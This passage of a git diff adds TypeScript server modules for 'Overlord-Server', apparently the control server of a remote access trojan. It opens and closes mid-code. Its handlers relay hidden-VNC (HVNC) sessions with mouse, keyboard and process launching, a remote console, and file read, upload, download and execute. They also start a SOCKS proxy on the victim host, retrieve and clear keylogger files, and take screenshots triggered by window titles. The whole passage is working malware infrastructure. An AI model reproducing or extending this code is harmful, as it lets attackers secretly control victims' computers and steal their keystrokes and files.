"text_input"); + sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId); + break; + } + default: + break; + } +} + +function handleRemoteDesktopFrame(payload: any) { + const clientId = payload.clientId as string; + const header = payload.header; + const bytes = payload.data as Uint8Array; + const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); + const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false }; + if (!state.isStreaming) { + rdStreamingState.set(clientId, { ...state, isStreaming: true }); + } + for (const session of sessionManager.getAllRdSessions().values()) { + if (session.clientId !== clientId) continue; + const sentBytes = safeSendViewerFrame(session.viewer, bytes, header); + const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); + rdSendStats.frames += 1; + rdSendStats.bytes += sentBytes; + rdSendStats.sendMs += t1 - t0; + } + logRdSend(header); +} + +(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { + let sent = false; + const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); + for (const session of sessionManager.getAllRdSessions().values()) { + if (session.clientId !== clientId) continue; + const sentBytes = safeSendViewerFrame(session.viewer, bytes, header); + const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now(); + rdSendStats.frames += 1; + rdSendStats.bytes += sentBytes; + rdSendStats.sendMs += t1 - t0; + sent = true; + } + logRdSend(header); + return sent; +}; + +export const hvncStreamingState = new Map(); + +export function handleHVNCViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.getAllHvncSessions().set(sessionId, session); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + return; + } + safeSendViewer(ws, { type: "status", status: "connecting", sessionId }); +} + +function notifyHVNCStatus(clientId: string, status: string, reason?: string) { + for (const session of sessionManager.getAllHvncSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, { + type: "status", + status, + reason, + sessionId: session.id, + }); + } +} + +export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload) return; + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90 }; + + logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`); + switch (payload.type) { + case "hvnc_start": + if (!state.isStreaming) { + sendHVNCCommand(target, "hvnc_start", {}); + state.isStreaming = true; + hvncStreamingState.set(clientId, state); + logger.debug(`[hvnc] started streaming for client ${clientId}`); + } else { + logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`); + } + break; + case "hvnc_stop": + if (state.isStreaming) { + sendHVNCCommand(target, "hvnc_stop", {}); + state.isStreaming = false; + hvncStreamingState.set(clientId, state); + logger.debug(`[hvnc] stopped streaming for client ${clientId}`); + } + break; + case "hvnc_select_display": { + const newDisplay = Number(payload.display) || 0; + if (state.display !== newDisplay) { + logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`); + sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay }); + state.display = newDisplay; + hvncStreamingState.set(clientId, state); + } else { + logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`); + } + break; + } + case "hvnc_set_quality": { + const newQuality = Number(payload.quality) || 90; + if (state.quality !== newQuality) { + sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: payload.codec || "" }); + state.quality = newQuality; + hvncStreamingState.set(clientId, state); + logger.debug(`[hvnc] set quality to ${newQuality}`); + } + break; + } + case "hvnc_enable_mouse": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled }); + break; + case "hvnc_enable_keyboard": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled }); + break; + case "hvnc_enable_cursor": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled }); + break; + case "hvnc_mouse_move": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); + break; + case "hvnc_mouse_down": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", { button: Number(payload.button) || 0 }); + break; + case "hvnc_mouse_up": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", { button: Number(payload.button) || 0 }); + break; + case "hvnc_mouse_wheel": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); + break; + case "hvnc_key_down": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" }); + break; + case "hvnc_key_up": + if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" }); + break; + case "hvnc_start_process": + sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") }); + break; + default: + break; + } +} + +export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) { + target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload })); +} + +(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { + let sent = false; + for (const session of sessionManager.getAllHvncSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewerFrame(session.viewer, bytes, header); + sent = true; + } + return sent; +}; + +const textDecoder = new TextDecoder(); + +export function handleConsoleViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload) return; + if (!payload || typeof payload.type !== "string") { + return; + } + + const { clientId, sessionId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + return; + } + + switch (payload.type) { + case "input": { + const data = typeof payload.data === "string" ? payload.data : ""; + sendConsoleCommand(target, "console_input", { sessionId, data }); + break; + } + case "resize": { + const cols = Number(payload.cols) || 120; + const rows = Number(payload.rows) || 36; + sendConsoleCommand(target, "console_resize", { sessionId, cols, rows }); + break; + } + case "stop": { + if (!sessionId) break; + stopConsoleOnTarget(target, sessionId); + break; + } + default: + break; + } +} + +export function handleConsoleOutput(payload: any) { + const sessionId = payload.sessionId as string; + if (!sessionId) return; + const session = sessionManager.getConsoleSession(sessionId); + if (!session) return; + const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : ""; + safeSendViewer(session.viewer, { + type: "output", + sessionId, + data, + exitCode: payload.exitCode, + error: payload.error, + }); + if (payload.exitCode !== undefined || payload.error) { + const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`; + safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId }); + sessionManager.deleteConsoleSession(sessionId); + } +} diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts new file mode 100644 index 0000000..05470e6 --- /dev/null +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -0,0 +1,427 @@ +import type { ServerWebSocket } from "bun"; +import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack"; +import { v4 as uuidv4 } from "uuid"; +import { AuditAction, logAudit } from "../auditLog"; +import * as clientManager from "../clientManager"; +import { logger } from "../logger"; +import { metrics } from "../metrics"; +import { encodeMessage } from "../protocol"; +import * as sessionManager from "../sessions/sessionManager"; +import type { SocketData } from "../sessions/types"; +import { normalizeFileUploadPayload } from "../fileTransfers"; + +type FileBrowserViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +type ProcessViewer = { + id: string; + clientId: string; + viewer: ServerWebSocket; + createdAt: number; +}; + +type WsViewerClusterDeps = { + pendingHttpDownloads: Map; + consumeHttpDownloadPayload: (payload: any) => Promise | void; +}; + +function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { + if (typeof raw === "string") { + try { + return JSON.parse(raw); + } catch { + return null; + } + } + try { + const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw); + return msgpackDecode(buf); + } catch { + return null; + } +} + +function safeSendViewer(ws: ServerWebSocket, payload: unknown) { + try { + ws.send(msgpackEncode(payload)); + } catch (err) { + logger.error("[viewer] send failed", err); + } +} + +export function handleFileBrowserViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.getAllFileBrowserSessions().set(sessionId, session); + ws.data.sessionId = sessionId; + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + } +} + +export function handleFileBrowserViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + logger.debug(`[DEBUG] File browser message from viewer for client ${clientId}:`, payload.type, payload.commandType || ""); + + const target = clientManager.getClient(clientId); + if (!target) { + logger.debug(`[DEBUG] Client ${clientId} not found - sending offline status`); + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const commandId = uuidv4(); + + if (payload.type === "command") { + if (typeof payload.commandType !== "string") return; + logger.debug(`[DEBUG] Handling command type: ${payload.commandType}`); + const actualPayload = payload.payload || {}; + switch (payload.commandType) { + case "file_read": + logger.debug(`[DEBUG] Forwarding file_read to client ${clientId}:`, actualPayload.path); + target.ws.send(encodeMessage({ type: "command", commandType: "file_read", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_read"); + break; + case "file_write": + target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_write"); + break; + case "file_search": + target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_search"); + break; + case "file_copy": + target.ws.send(encodeMessage({ type: "command", commandType: "file_copy", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_copy"); + break; + case "file_move": + target.ws.send(encodeMessage({ type: "command", commandType: "file_move", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_move"); + break; + case "file_chmod": + target.ws.send(encodeMessage({ type: "command", commandType: "file_chmod", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_chmod"); + break; + case "file_execute": + logger.debug(`[DEBUG] Forwarding file_execute to client ${clientId}:`, actualPayload.path); + target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: payload.id || commandId, payload: actualPayload } as any)); + metrics.recordCommand("file_execute"); + break; + default: + break; + } + return; + } + + switch (payload.type) { + case "file_list": + target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: commandId, payload: { path: payload.path || "" } } as any)); + metrics.recordCommand("file_list"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_LIST, + targetClientId: clientId, + details: JSON.stringify({ path: payload.path || "" }), + success: true, + }); + break; + case "file_download": + target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: commandId, payload: { path: payload.path || "" } } as any)); + metrics.recordCommand("file_download"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_DOWNLOAD, + targetClientId: clientId, + details: JSON.stringify({ path: payload.path || "" }), + success: true, + }); + break; + case "file_upload": { + const upload = normalizeFileUploadPayload(payload); + if (!upload) return; + target.ws.send(encodeMessage({ + type: "command", + commandType: "file_upload", + id: commandId, + payload: { + path: upload.path, + data: upload.data, + offset: upload.offset, + total: upload.total, + transferId: upload.transferId, + }, + } as any)); + metrics.recordCommand("file_upload"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_UPLOAD, + targetClientId: clientId, + details: JSON.stringify({ path: upload.path, size: upload.data.length, offset: upload.offset }), + success: true, + }); + break; + } + case "file_delete": { + const deleteCommandId = payload.commandId || commandId; + target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: deleteCommandId, payload: { path: payload.path || "" } } as any)); + metrics.recordCommand("file_delete"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_DELETE, + targetClientId: clientId, + details: JSON.stringify({ path: payload.path || "" }), + success: true, + }); + break; + } + case "file_mkdir": { + const mkdirCommandId = payload.commandId || commandId; + target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: mkdirCommandId, payload: { path: payload.path || "" } } as any)); + metrics.recordCommand("file_mkdir"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_MKDIR, + targetClientId: clientId, + details: JSON.stringify({ path: payload.path || "" }), + success: true, + }); + break; + } + case "file_zip": { + const zipCommandId = payload.commandId || commandId; + target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: zipCommandId, payload: { path: payload.path || "" } } as any)); + metrics.recordCommand("file_zip"); + logAudit({ + timestamp: Date.now(), + username: (ws.data as any).username || "unknown", + ip: ws.data.ip || "unknown", + action: AuditAction.FILE_ZIP, + targetClientId: clientId, + details: JSON.stringify({ path: payload.path || "" }), + success: true, + }); + break; + } + case "command_abort": + target.ws.send(encodeMessage({ type: "command_abort", commandId: payload.commandId } as any)); + break; + default: + break; + } +} + +export function handleFileBrowserMessage(clientId: string, payload: any, deps: WsViewerClusterDeps) { + const type = payload?.type as string | undefined; + const isHttpDownload = + type === "file_download" && + typeof payload?.commandId === "string" && + deps.pendingHttpDownloads.has(payload.commandId); + + if (type === "file_download" && typeof payload?.commandId === "string") { + void deps.consumeHttpDownloadPayload(payload); + } + + let hasSession = false; + for (const session of sessionManager.getAllFileBrowserSessions().values()) { + if (session.clientId !== clientId) continue; + if (!hasSession) { + hasSession = true; + if (type && type !== "command_result" && type !== "command_progress") { + logger.debug(`[filebrowser] client=${clientId} type=${type}`); + } + } + if (isHttpDownload) { + continue; + } + if (payload.type === "file_download" && payload.data) { + const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data); + safeSendViewer(session.viewer, { ...payload, data }); + } else { + safeSendViewer(session.viewer, payload); + } + } +} + +export function handleProcessViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.getAllProcessSessions().set(sessionId, session); + ws.data.sessionId = sessionId; + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + } +} + +export function handleProcessViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const commandId = uuidv4(); + switch (payload.type) { + case "process_list": + target.ws.send(encodeMessage({ type: "command", commandType: "process_list", id: commandId } as any)); + metrics.recordCommand("process_list"); + break; + case "process_kill": { + const pid = Number(payload.pid); + if (!Number.isFinite(pid) || pid <= 0) { + safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" }); + break; + } + target.ws.send(encodeMessage({ type: "command", commandType: "process_kill", id: commandId, payload: { pid } } as any)); + metrics.recordCommand("process_kill"); + break; + } + default: + break; + } +} + +export function handleProcessMessage(clientId: string, payload: any) { + for (const session of sessionManager.getAllProcessSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, payload); + } +} + +export function handleProxyViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.addProxySession(session); + ws.data.sessionId = sessionId; + logger.info(`[proxy] viewer connected session=${sessionId} client=${clientId}`); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + } +} + +export function handleProxyViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const commandId = uuidv4(); + switch (payload.type) { + case "proxy_start": { + const port = typeof payload.port === "number" ? payload.port : 1080; + target.ws.send(encodeMessage({ type: "command", commandType: "proxy_start", id: commandId, payload: { port } } as any)); + metrics.recordCommand("proxy_start"); + break; + } + case "proxy_stop": + target.ws.send(encodeMessage({ type: "command", commandType: "proxy_stop", id: commandId } as any)); + metrics.recordCommand("proxy_stop"); + break; + default: + break; + } +} + +export function handleProxyMessage(clientId: string, payload: any) { + for (const session of sessionManager.getAllProxySessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, payload); + } +} + +export function handleKeyloggerViewerOpen(ws: ServerWebSocket) { + const { clientId } = ws.data; + const sessionId = uuidv4(); + const target = clientManager.getClient(clientId); + const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; + sessionManager.addKeyloggerSession(session); + ws.data.sessionId = sessionId; + logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`); + safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); + } +} + +export function handleKeyloggerViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { + const payload = decodeViewerPayload(raw); + if (!payload || typeof payload.type !== "string") return; + const { clientId } = ws.data; + const target = clientManager.getClient(clientId); + if (!target) { + safeSendViewer(ws, { type: "status", status: "offline" }); + return; + } + + const commandId = uuidv4(); + switch (payload.type) { + case "keylog_list": + target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any)); + metrics.recordCommand("keylog_list"); + break; + case "keylog_retrieve": { + const filename = typeof payload.filename === "string" ? payload.filename : ""; + if (!filename) { + safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid filename" }); + break; + } + target.ws.send(encodeMessage({ type: "command", commandType: "keylog_retrieve", id: commandId, payload: { filename } } as any)); + metrics.recordCommand("keylog_retrieve"); + break; + } + case "keylog_clear_all": + target.ws.send(encodeMessage({ type: "command", commandType: "keylog_clear_all", id: commandId } as any)); + metrics.recordCommand("keylog_clear_all"); + break; + case "keylog_delete": { + const filename = typeof payload.filename === "string" ? payload.filename : ""; + if (!filename) { + safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid filename" }); + break; + } + target.ws.send(encodeMessage({ type: "command", commandType: "keylog_delete", id: commandId, payload: { filename } } as any)); + metrics.recordCommand("keylog_delete"); + break; + } + default: + break; + } +} + +export function handleKeyloggerMessage(clientId: string, payload: any) { + for (const session of sessionManager.getAllKeyloggerSessions().values()) { + if (session.clientId !== clientId) continue; + safeSendViewer(session.viewer, payload); + } +} diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts new file mode 100644 index 0000000..0c78f66 --- /dev/null +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -0,0 +1,334 @@ +import type { ServerWebSocket } from "bun"; +import { encode as msgpackEncode } from "@msgpack/msgpack"; +import { v4 as uuidv4 } from "uuid"; +import * as clientManager from "../clientManager"; +import { logger } from "../logger"; +import { metrics } from "../metrics"; +import { encodeMessage } from "../protocol"; +import * as sessionManager from "../sessions/sessionManager"; +import type { SocketData } from "../sessions/types"; + +type NotificationRecord = { + id: string; + clientId: string; + host?: string; + user?: string; + os?: string; + title: string; + process?: string; + processPath?: string; + pid?: number; + keyword?: string; + category: "active_window"; + ts: number; + screenshotId?: string; +}; + +type NotificationRateState = { + lastSent: number; + windowStart: number; + suppressed: number; + lastWarned: number; +}; + +type PendingNotificationScreenshot = { + notificationId: string; + clientId: string; + ts: number; + timeout: NodeJS.Timeout; +}; + +type NotificationConfigShape = { + minIntervalMs?: number; + spamWindowMs?: number; + spamWarnThreshold?: number; + historyLimit?: number; +}; + +type CreateDeps = { + notificationHistory: NotificationRecord[]; + notificationRate: Map; + pendingNotificationScreenshots: Map; + pluginLoadedByClient: Map>; + pluginLoadingByClient: Map>; + pendingPluginEvents: Map>; + pluginState: { enabled: Record; lastError: Record }; + getNotificationConfig: () => NotificationConfigShape; + storeNotificationScreenshot: ( + pending: PendingNotificationScreenshot, + bytes: Uint8Array, + format: string, + width?: number, + height?: number, + ) => void; + deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise; + savePluginState: () => Promise; +}; + +function safeSendViewer(ws: ServerWebSocket, payload: unknown) { + try { + ws.send(msgpackEncode(payload)); + } catch (err) { + logger.error("[viewer] send failed", err); + } +} + +export function createNotificationPluginHandlers(deps: CreateDeps) { + function requestNotificationScreenshot(info: any, record: NotificationRecord) { + if (!info || !info.ws) return; + const commandId = `notify-shot-${uuidv4()}`; + const timeout = setTimeout(() => { + deps.pendingNotificationScreenshots.delete(commandId); + }, 15_000); + + deps.pendingNotificationScreenshots.set(commandId, { + notificationId: record.id, + clientId: record.clientId, + ts: record.ts, + timeout, + }); + + try { + info.ws.send( + encodeMessage({ + type: "command", + commandType: "screenshot", + id: commandId, + payload: { mode: "notification", allDisplays: true }, + } as any), + ); + metrics.recordCommand("screenshot"); + } catch (err) { + clearTimeout(timeout); + deps.pendingNotificationScreenshots.delete(commandId); + logger.warn("[notify] failed to request screenshot", err); + } + } + + function shouldAcceptNotification(key: string, ts: number): boolean { + const notificationConfig = deps.getNotificationConfig(); + const minInterval = Math.max(1000, notificationConfig.minIntervalMs || 8000); + const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000); + const warnThreshold = Math.max(1, notificationConfig.spamWarnThreshold || 5); + const state = deps.notificationRate.get(key) || { + lastSent: 0, + windowStart: ts, + suppressed: 0, + lastWarned: 0, + }; + + if (ts - state.windowStart > spamWindow) { + state.windowStart = ts; + state.suppressed = 0; + state.lastWarned = 0; + } + + if (ts - state.lastSent < minInterval) { + state.suppressed += 1; + if ( + state.suppressed >= warnThreshold && + ts - state.lastWarned > Math.floor(spamWindow / 2) + ) { + logger.warn(`[notify] suppressed ${state.suppressed} notifications in ${spamWindow}ms for ${key}`); + state.lastWarned = ts; + } + deps.notificationRate.set(key, state); + return false; + } + + state.lastSent = ts; + state.suppressed = 0; + deps.notificationRate.set(key, state); + return true; + } + + function flushPluginEvents(clientId: string, pluginId: string) { + const key = `${clientId}:${pluginId}`; + const list = deps.pendingPluginEvents.get(key); + if (!list || list.length === 0) return; + const target = clientManager.getClient(clientId); + if (!target) return; + for (const item of list) { + target.ws.send( + encodeMessage({ + type: "plugin_event", + pluginId, + event: item.event, + payload: item.payload, + } as any), + ); + } + deps.pendingPluginEvents.delete(key); + } + + function markPluginLoaded(clientId: string, pluginId: string) { + if (!clientId || !pluginId) return; + let set = deps.pluginLoadedByClient.get(clientId); + if (!set) { + set = new Set(); + deps.pluginLoadedByClient.set(clientId, set); + } + set.add(pluginId); + deps.pluginLoadingByClient.get(clientId)?.delete(pluginId); + } + + return { + handleNotificationViewerOpen(ws: ServerWebSocket) { + const sessionId = uuidv4(); + sessionManager.addNotificationSession({ + id: sessionId, + viewer: ws, + createdAt: Date.now(), + }); + ws.data.sessionId = sessionId; + logger.info(`[notify] viewer connected session=${sessionId}`); + safeSendViewer(ws, { type: "ready", sessionId, history: deps.notificationHistory }); + }, + + handleNotification(clientId: string, payload: any) { + const ts = Number(payload.ts) || Date.now(); + const title = typeof payload.title === "string" ? payload.title : ""; + if (!title) return; + const keyword = typeof payload.keyword === "string" ? payload.keyword : ""; + const rateKey = `${clientId}:${keyword || title}`; + if (!shouldAcceptNotification(rateKey, ts)) { + return; + } + const info = clientManager.getClient(clientId); + logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`); + const record: NotificationRecord = { + id: uuidv4(), + clientId, + host: info?.host, + user: info?.user, + os: info?.os, + title, + process: typeof payload.process === "string" ? payload.process : "", + processPath: typeof payload.processPath === "string" ? payload.processPath : "", + pid: Number(payload.pid) || undefined, + keyword, + category: "active_window", + ts, + }; + + deps.notificationHistory.unshift(record); + const notificationConfig = deps.getNotificationConfig(); + const limit = Math.max(50, notificationConfig.historyLimit || 200); + if (deps.notificationHistory.length > limit) { + deps.notificationHistory.splice(limit); + } + + requestNotificationScreenshot(info, record); + + for (const session of sessionManager.getAllNotificationSessions().values()) { + safeSendViewer(session.viewer, { type: "notification", item: record }); + } + + void deps.deliverNotificationWithScreenshot(record); + }, + + handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) { + if (!commandId) return; + if (ok === true) return; + const pending = deps.pendingNotificationScreenshots.get(commandId); + if (!pending) return; + clearTimeout(pending.timeout); + deps.pendingNotificationScreenshots.delete(commandId); + if (message) { + logger.warn(`[notify] screenshot failed commandId=${commandId} message=${message}`); + } + }, + + handleNotificationScreenshotResult(clientId: string, payload: any) { + const commandId = typeof payload.commandId === "string" ? payload.commandId : ""; + if (!commandId) return; + const pending = deps.pendingNotificationScreenshots.get(commandId); + if (!pending) return; + clearTimeout(pending.timeout); + deps.pendingNotificationScreenshots.delete(commandId); + + if (payload.error) { + logger.warn(`[notify] screenshot error commandId=${commandId}`, payload.error); + return; + } + + let bytes: Uint8Array | null = null; + if (payload.data instanceof Uint8Array) { + bytes = payload.data; + } else if (payload.data instanceof ArrayBuffer) { + bytes = new Uint8Array(payload.data); + } else if (ArrayBuffer.isView(payload.data)) { + bytes = new Uint8Array(payload.data.buffer); + } + + if (!bytes || bytes.length === 0) { + logger.warn(`[notify] screenshot missing data commandId=${commandId}`); + return; + } + + const format = typeof payload.format === "string" ? payload.format : "jpeg"; + const width = Number(payload.width) || undefined; + const height = Number(payload.height) || undefined; + deps.storeNotificationScreenshot(pending, bytes, format, width, height); + }, + + clearPendingNotificationScreenshots(clientId: string) { + for (const [commandId, pending] of deps.pendingNotificationScreenshots.entries()) { + if (pending.clientId !== clientId) continue; + clearTimeout(pending.timeout); + deps.pendingNotificationScreenshots.delete(commandId); + } + }, + + markPluginLoaded, + + isPluginLoaded(clientId: string, pluginId: string): boolean { + return deps.pluginLoadedByClient.get(clientId)?.has(pluginId) ?? false; + }, + + isPluginLoading(clientId: string, pluginId: string): boolean { + return deps.pluginLoadingByClient.get(clientId)?.has(pluginId) ?? false; + }, + + markPluginLoading(clientId: string, pluginId: string) { + if (!clientId || !pluginId) return; + let set = deps.pluginLoadingByClient.get(clientId); + if (!set) { + set = new Set(); + deps.pluginLoadingByClient.set(clientId, set); + } + set.add(pluginId); + }, + + enqueuePluginEvent(clientId: string, pluginId: string, event: string, payload: any) { + const key = `${clientId}:${pluginId}`; + const list = deps.pendingPluginEvents.get(key) || []; + list.push({ event, payload }); + deps.pendingPluginEvents.set(key, list); + }, + + handlePluginEvent(clientId: string, payload: any) { + const pluginId = (payload as any).pluginId || ""; + const event = (payload as any).event || ""; + const error = (payload as any).error || ""; + logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`); + if (event === "loaded") { + markPluginLoaded(clientId, pluginId); + flushPluginEvents(clientId, pluginId); + if (pluginId) { + deps.pluginState.lastError[pluginId] = ""; + void deps.savePluginState(); + } + } + if (event === "unloaded") { + deps.pluginLoadedByClient.get(clientId)?.delete(pluginId); + } + if (event === "error" || error) { + if (pluginId) { + deps.pluginState.lastError[pluginId] = error || String((payload as any).message || "plugin error"); + void deps.savePluginState(); + } + } + }, + }; +} diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts new file mode 100644 index 0000000..5637d92 --- /dev/null +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -0,0 +1,263 @@ +import type { ServerWebSocket } from "bun"; +import type { + ConsoleSession, + RemoteDesktopViewer, + FileBrowserViewer, + ProcessViewer, + NotificationsViewer, + KeyloggerViewer, + SocketData, +} from "./types"; + +const consoleSessions = new Map(); +const rdSessions = new Map(); +const hvncSessions = new Map(); // HVNC uses same structure as RD +const fileBrowserSessions = new Map(); +const processSessions = new Map(); +const notificationSessions = new Map(); +const keyloggerSessions = new Map(); +const proxySessions = new Map(); // Reusing KeyloggerViewer interface for consistency + +export function addConsoleSession(session: ConsoleSession): void { + consoleSessions.set(session.id, session); +} + +export function getConsoleSession( + sessionId: string, +): ConsoleSession | undefined { + return consoleSessions.get(sessionId); +} + +export function deleteConsoleSession(sessionId: string): boolean { + return consoleSessions.delete(sessionId); +} + +export function getConsoleSessionsByClient(clientId: string): ConsoleSession[] { + return Array.from(consoleSessions.values()).filter( + (s) => 